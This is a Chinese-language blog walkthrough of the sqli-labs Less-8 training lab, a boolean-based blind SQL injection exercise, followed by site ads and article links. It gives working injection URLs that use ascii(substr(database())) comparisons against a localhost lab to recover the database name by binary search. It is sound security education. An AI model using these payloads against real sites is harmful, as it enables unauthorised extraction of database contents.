【sqli-labs】 less8 GET - Blind - Boolian Based - Single Quotes (基于布尔的单引号GET盲注)
加单引号 没有任何信息输出
加and 页面变化,不正常是没有任何回显
http://localhost/sqli/Less-8/?id=1' and '1'='1
http://localhost/sqli/Less-8/?id=1' and '1'='2
出错也没有回显,考虑盲注,即通过不同请求页面的变化来作出判断
首先学习几个函数
length(str) 返回字符串的长度
if(a, b, c) 若条件a为真,返回b,否则返回c
substr(str, pos, len) 从pos位置起截取str字符串len长度的子串并返回
pos从1起
ascii(str) 返回str第一个字符的ascii码
常用的ascii
0~9 48~57
A~Z 65~90
a~z 97~122
开始猜解数据库名
数据库名的第一个字符的ascii码值大于64,页面就正常
http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>64%23
http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>96%23
http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))<123%23
可以判断第一个字符为小写英文字母
利用二分法
则第一个字符为ascii码为115的字符,即 's'
第二个字符ascii码101,即字符 'e'
知道原理后可以写一个脚本完成猜解工作
数据库名为security
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 智能桌面机器人:用.NET IoT库控制舵机并多方法播放表情
· Linux glibc自带哈希表的用例及性能测试
· 深入理解 Mybatis 分库分表执行原理
· 如何打造一个高并发系统?
· .NET Core GC压缩(compact_phase)底层原理浅谈
· 手把手教你在本地部署DeepSeek R1,搭建web-ui ,建议收藏!
· 新年开篇:在本地部署DeepSeek大模型实现联网增强的AI应用
· Janus Pro:DeepSeek 开源革新,多模态 AI 的未来
· 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(三):用.NET IoT库
· 【非技术】说说2024年我都干了些啥